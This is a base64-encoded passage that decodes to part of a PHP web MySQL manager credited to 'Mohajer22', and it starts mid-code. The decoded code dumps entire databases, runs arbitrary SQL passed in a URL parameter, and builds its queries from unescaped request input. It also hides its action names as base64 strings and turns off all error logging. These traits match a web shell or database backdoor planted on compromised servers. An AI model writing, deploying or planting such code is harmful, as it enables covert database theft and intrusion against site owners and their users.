TV9EQVlTXG4iOw0KCQllY2hvICI8b3B0aW9uPkZST01fVU5JWFRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+Tk9XXG4iOw0KCQllY2hvICI8b3B0aW9uPlBBU1NXT1JEXG4iOw0KCQllY2hvICI8b3B0aW9uPlBFUklPRF9BRERcbiI7DQoJCWVjaG8gIjxvcHRpb24+UEVSSU9EX0RJRkZcbiI7DQoJCWVjaG8gIjxvcHRpb24+VE9fREFZU1xuIjsNCgkJZWNobyAiPG9wdGlvbj5VU0VSXG4iOw0KCQllY2hvICI8b3B0aW9uPldFRUtEQVlcbiI7DQoJCWVjaG8gIjxvcHRpb24+UkFORFxuIjsNCgkJZWNobyAiPC9zZWxlY3Q+XG4iOw0KCQllY2hvICI8L3RkPlxuIjsNCgkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkZGF0YVskaV0pOw0KCQlpZiggJGNtZCA9PSAiYWRkIiApIHsNCgkJCSR0eXBlID0gc3RydG9rKCAkZmllbGR0eXBlLCAiICgsKVxuIiApOw0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8fCAkdHlwZSA9PSAic2V0IiApIHsNCgkJCQllY2hvICI8dGQ+XG4iOw0KCQkJCWlmKCAkdHlwZSA9PSAiZW51bSIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZT5cbiI7DQoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZSBzaXplPTQgbXVsdGlwbGU+XG4iOw0KCQkJCXdoaWxlKCAkc3RyID0gc3RydG9rKCAiJyIgKSApIHsNCgkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOw0KCQkJCQlzdHJ0b2soICInIiApOw0KCQkJCX0NCgkJCQllY2hvICI8L3NlbGVjdD5cbiI7DQoJCQkJZWNobyAiPC90ZD5cbiI7DQoJCQl9IGVsc2Ugew0KCQkJCWlmKCAkbGVuIDwgNDAgKQ0KCQkJCQllY2hvICI8dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQwIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT48L3RkPlxuIjsNCgkJCQllbHNlDQoJCQkJCWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGV4dGFyZWE+XG4iOw0KCQkJfQ0KCQl9IGVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCQlpZiggJHR5cGUgPT0gImVudW0iIHx8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCWVjaG8gIjx0ZD5cbiI7DQoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lPlxuIjsNCgkJCQllbHNlIGlmKCAkdHlwZSA9PSAic2V0IiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7DQoJCQkJd2hpbGUoICRzdHIgPSBzdHJ0b2soICInIiApICkgew0KCQkJCQlpZiggJHZhbHVlID09ICRzdHIgKQ0KCQkJCQkJZWNobyAiPG9wdGlvbiBzZWxlY3RlZD4kc3RyXG4iOw0KCQkJCQllbHNlDQoJCQkJCQllY2hvICI8b3B0aW9uPiRzdHJcbiI7DQoJCQkJCXN0cnRvayggIiciICk7DQoJCQkJfQ0KCQkJCWVjaG8gIjwvc2VsZWN0PlxuIjsNCgkJCQllY2hvICI8L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJaWYoICRsZW4gPCA0MCApDQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lIHZhbHVlPVwiJHZhbHVlXCI+PC90ZD5cbiI7DQoJCQkJZWxzZQ0KCQkJCQllY2hvICI8dGQ+PHRleHRhcmVhIGNvbHM9NDAgcm93cz0zIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT4kdmFsdWU8L3RleHRhcmVhPlxuIjsNCgkJCX0NCgkJfQ0KCQllY2hvICI8L3RyPiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdBZGQgRGF0YSc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IERhdGEnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KfQ0KDQpmdW5jdGlvbiBtYW5hZ2VEYXRhX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCSRxdWVyeVN0ciA9ICJJTlNFUlQgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCSRxdWVyeVN0ciA9ICJSRVBMQUNFIElOVE8gJHRhYmxlbmFtZSBWQUxVRVMgKCI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bS0xOyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsNCgkJJGZ1bmMgPSAkR0xPQkFMU1skZmllbGQtPm5hbWUuIl9mdW5jdGlvbiJdOw0KCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsNCgkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkgew0KCQkJJHF1ZXJ5U3RyIC49ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07DQoJCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJCSRxdWVyeVN0ciAuPSAiKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiLCI7DQoJCX0gZWxzZSB7DQoJCQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXTsNCgkJCWlmKCAkZnVuYyAhPSAiIiApDQoJCQkJJHF1ZXJ5U3RyIC49ICInKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiJywiOw0KCQl9DQoJfQ0KCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCApOw0KCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApDQoJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIikiOw0KCWVsc2UNCgkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJykiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCgl2aWV3RGF0YSggIiIgKTsNCn0NCg0KZnVuY3Rpb24gZGVsZXRlRGF0YSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJJGtleSA9ICIiOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQ0KCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7DQoJCQllbHNlDQoJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInIEFORCAiOw0KCX0NCgkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5U3RyID0gICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICRrZXkiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCXZpZXdEYXRhKCAiIiApOw0KfQ0KDQpmdW5jdGlvbiBmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGUpDQp7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwkZGJuYW1lOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5X2lkID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFICR0YWJsZSIsJG15c3FsSGFuZGxlKTsNCgkkdGFibGVkdW1wID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5X2lkLCBNWVNRTF9BU1NPQyk7DQoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iIC4gJHRhYmxlZHVtcFsnQ3JlYXRlIFRhYmxlJ10gLiAiO1xuXG4iOw0KCWVjaG8gJHRhYmxlZHVtcDsNCgkvLyBnZXQgZGF0YQ0KCSRyb3dzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHRhYmxlIiwkbXlzcWxIYW5kbGUpOw0KCSRudW1maWVsZHM9bXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cywgTVlTUUxfTlVNKSkNCgl7DQoJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOw0KCQkkZmllbGRjb3VudGVyID0gLTE7DQoJCSRmaXJzdGZpZWxkID0gMTsNCgkJLy8gZ2V0IGVhY2ggZmllbGQncyBkYXRhDQoJCXdoaWxlICgrKyRmaWVsZGNvdW50ZXIgPCAkbnVtZmllbGRzKQ0KCQl7DQoJCQlpZiAoISRmaXJzdGZpZWxkKQ0KCQkJew0KCQkJCSR0YWJsZWR1bXAgLj0gJywgJzsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkZmlyc3RmaWVsZCA9IDA7DQoJCQl9DQoJCQlpZiAoIWlzc2V0KCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkpDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAnTlVMTCc7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkgLiAiJyI7DQoJCQl9DQoJCX0NCgkJJHRhYmxlZHVtcCAuPSAiKTtcbiI7DQoJCWVjaG8gJHRhYmxlZHVtcDsNCgl9DQoJQG15c3FsX2ZyZWVfcmVzdWx0KCRyb3dzKTsNCn0NCg0KZnVuY3Rpb24gZHVtcCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJuYW1lLCAkdGFibGVuYW1lOw0KCWlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiICl7DQoJCWhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogZmlsZW5hbWU9JHRhYmxlbmFtZS5zcWwiKTsNCgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IHVua25vd24vdW5rbm93bicpOw0KCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGVuYW1lKTsNCgkJZWNobyAiXG5cblxuIjsNCgkJZWNobyAiXHJcblxyXG5cclxuIyMjICR0YWJsZW5hbWUgVEFCTEUgRFVNUCBDT01QTEVURUQgIyMjIjsNCgkJZXhpdDsNCgl9ZWxzZXsNCgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91bmtub3duJyk7DQoJCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJCSRxdWVyeV9pZCA9IG15c3FsX3F1ZXJ5KCJTSE9XIHRhYmxlcyIsJG15c3FsSGFuZGxlKTsNCgkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfaWQsIE1ZU1FMX05VTSkpDQoJCXsNCgkJCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkcm93WzBdKTsNCgkJCQllY2hvICJcblxuXG4iOw0KCQkJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkcm93WzBdIFRBQkxFIERVTVAgQ09NUExFVEVEICMjIyI7DQoJCQkJZWNobyAiXG5cblxuIjsNCgkJfQ0KCQllY2hvICJcclxuXHJcblxyXG4jIyMgJGRibmFtZSBEQVRBQkFTRSBEVU1QIENPTVBMRVRFRCAjIyMiOw0KCQlleGl0Ow0KCX0NCn0NCg0KZnVuY3Rpb24gdXRpbHMoKSB7DQoJZ2xvYmFsICRQSFBfU0VMRiwgJGNvbW1hbmQ7DQoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOw0KCWlmKCAkY29tbWFuZCA9PSAiIiB8fCBzdWJzdHIoICRjb21tYW5kLCAwLCA1ICkgPT0gImZsdXNoIiApIHsNCgkJZWNobyAiPGhyPlxuIjsNCgkJZWNobyAiU2hvd1xuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3Byb2Nlc3NsaXN0Jz5Qcm9jZXNzbGlzdDwvYT5cbiI7DQoJCWVjaG8gIjwvdWw+XG4iOw0KCQllY2hvICJGbHVzaFxuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9ob3N0cyc+SG9zdHM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGhvc3RzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5Mb2dzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9sb2dzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGxvZ3MiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3ByaXZpbGVnZXMnPlByaXZpbGVnZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3ByaXZpbGVnZXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApDQoJCQkJZWNobyAiLSBTdWNjZXNzIjsNCgkJCWVsc2UNCgkJCQllY2hvICItIEZhaWwiOw0KCQl9DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfdGFibGVzJz5UYWJsZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7DQoJCQlpZiggbXlzcWxfcXVlcnkoICJGbHVzaCB0YWJsZXMiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9zdGF0dXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggc3RhdHVzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPC91bD5cbiI7DQoJfSBlbHNlIHsNCgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsNCgkJJHBSZXN1bHQgPSBteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICk7DQoJCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJCWVjaG8gIkZhaWwiOw0KCQkJcmV0dXJuOw0KCQl9DQoJCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOw0KCQllY2hvICI8aHI+XG4iOw0KCQllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGJvcmRlcj0wPlxuIjsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJCWVjaG8gIjx0aD4iLiRmaWVsZC0+bmFtZS4iPC90aD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJCXdoaWxlKCAxICkgew0KCQkJJHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93KCAkcFJlc3VsdCApOw0KCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOw0KCQkJZWNobyAiPHRyPlxuIjsNCgkJCWZvciggJGogPSAwOyAkaiA8ICRjb2w7ICRqKysgKQ0KCQkJCWVjaG8gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7DQoJCQllY2hvICI8L3RyPlxuIjsNCgkJfQ0KCQllY2hvICI8L3RhYmxlPlxuIjsNCgl9DQp9DQpmdW5jdGlvbiBmb290ZXJfaHRtbCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRVU0VSTkFNRTsNCgllY2hvICI8aHI+XG4iOw0KCWVjaG8gIjxzcGFuIGNsYXNzPVwibmV3XCI+WyRVU0VSTkFNRV08L3NwYW4+IC0gXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YkdsemRFUkNjdz09Jz5EYXRhYmFzZSBMaXN0PC9hPiB8IFxuIjsNCglpZiggJHRhYmxlbmFtZSAhPSAiIiApDQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bGlzdFRhYmxlcyZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+VGFibGUgTGlzdDwvYT4gfCAiOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMnPlV0aWxzPC9hPiB8XG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb3V0Jz5Mb2dvdXQ8L2E+XG4iOw0KfQ0KLy8tLS0tLS0tLS0tLS0tIE1BSU4gLS0tLS0tLS0tLS0tLSAvLw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KaW5pX3NldCAoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQppbmlfc2V0ICgnbG9nX2Vycm9ycycsIDApOw0KaWYoICRhY3Rpb24gPT0gImxvZ29uIiB8fCAkYWN0aW9uID09ICIiIHx8ICRhY3Rpb24gPT0gImxvZ291dCIgKQ0KCWxvZ29uKCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJiRzluYjI1ZmMzVmliV2wwIiApDQoJbG9nb25fc3VibWl0KCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiIHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7DQoJd2hpbGUoIGxpc3QoJHZhciwgJHZhbHVlKSA9IGVhY2goJEhUVFBfQ09PS0lFX1ZBUlMpICkgew0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApICRVU0VSTkFNRSA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICkgJEhPU1ROQU1FID0gJHZhbHVlOw0KCX0NCgkkbXlzcWxIYW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1ROQU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBBU1NXT1JEICk7DQoJZHVtcCgpOw0KfSBlbHNlIHsNCgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiICkgJFVTRVJOQU1FID0gJHZhbHVlOw0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3Bhc3N3b3JkIiApICRQQVNTV09SRCA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7DQoJfQ0KCWVjaG8gIjwhLS0iOw0KCSRteXNxbEhhbmRsZSA9IEBteXNxbF9jb25uZWN0KCAkSE9TVE5BTUUuIjozMzA2IiwgJFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsNCgllY2hvICItLT4iOw0KCWlmKCAkbXlzcWxIYW5kbGUgPT0gZmFsc2UgKSB7DQoJCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7DQoJCWVjaG8gIjxoMT5Xcm9uZyBQYXNzd29yZCE8L2gxPlxuIjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1sb2dvbic+TG9nb248L2E+XG4iOw0KCQllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJfSBlbHNlIHsNCgkJaWYoICRhY3Rpb24gPT0gImJHbHpkRVJDY3c9PSIgKQ0KCQkJbGlzdERhdGFiYXNlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVEQiIgKQ0KCQkJY3JlYXRlRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcERCIiApDQoJCQlkcm9wRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAibGlzdFRhYmxlcyIgKQ0KCQkJbGlzdFRhYmxlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVUYWJsZSIgKQ0KCQkJY3JlYXRlVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcFRhYmxlIiApDQoJCQlkcm9wVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1NjaGVtYSIgKQ0KCQkJdmlld1NjaGVtYSgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJxdWVyeSIgKQ0KCQkJdmlld0RhdGEoICRxdWVyeVN0ciApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJhZGRGaWVsZCIgKQ0KCQkJbWFuYWdlRmllbGQoICJhZGQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RmllbGQiICkNCgkJCW1hbmFnZUZpZWxkKCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcEZpZWxkIiApDQoJCQlkcm9wRmllbGQoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IiApDQoJCQl2aWV3RGF0YSggIiIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImFkZCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YV9zdWJtaXQiICkNCgkJCW1hbmFnZURhdGFfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImVkaXQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImVkaXREYXRhX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRGF0YV9zdWJtaXQoICJlZGl0IiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJkZWxldGVEYXRhIiApDQoJCQlkZWxldGVEYXRhKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gInV0aWxzIiApDQoJCQl1dGlscygpOw0KCQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxlKTsNCgkJZm9vdGVyX2h0bWwoKTsNCgl9DQp9DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5NeVNRTCBJbnRlcmZhY2UgKERldmVsb3BlZCBCeSBNb2hhamVyMjIpPC90aXRsZT4NCjxib2R5IGJnQ29sb3I9IzAwMDAwMCA+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KcC5sb2NhdGlvbiB7DQoJY29sb3I6ICMwMEZGMDA7DQp9DQpoMSwgaDIsIGgzIHsNCgljb2xvcjogIzAwRkYwMDsNCn0NCnRoIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjIyMjIyOw0KCWNvbG9yOiAjMDBGRjAwOw0KCWZvbnQtc2l6ZTogc21hbGw7DQp9DQp0ZCB7DQoJY29sb3I6ICMwMEZGMDA7DQoJYmFja2dyb3VuZC1jb2xvcjogIzQ0NDQ0NDsNCglmb250LXNpemU6IHNtYWxsOw0KfQ0KZm9ybSB7DQoJbWFyZ2luLXRvcDogMDsNCgltYXJnaW4tYm90dG9tOiAwOw0KfQ0K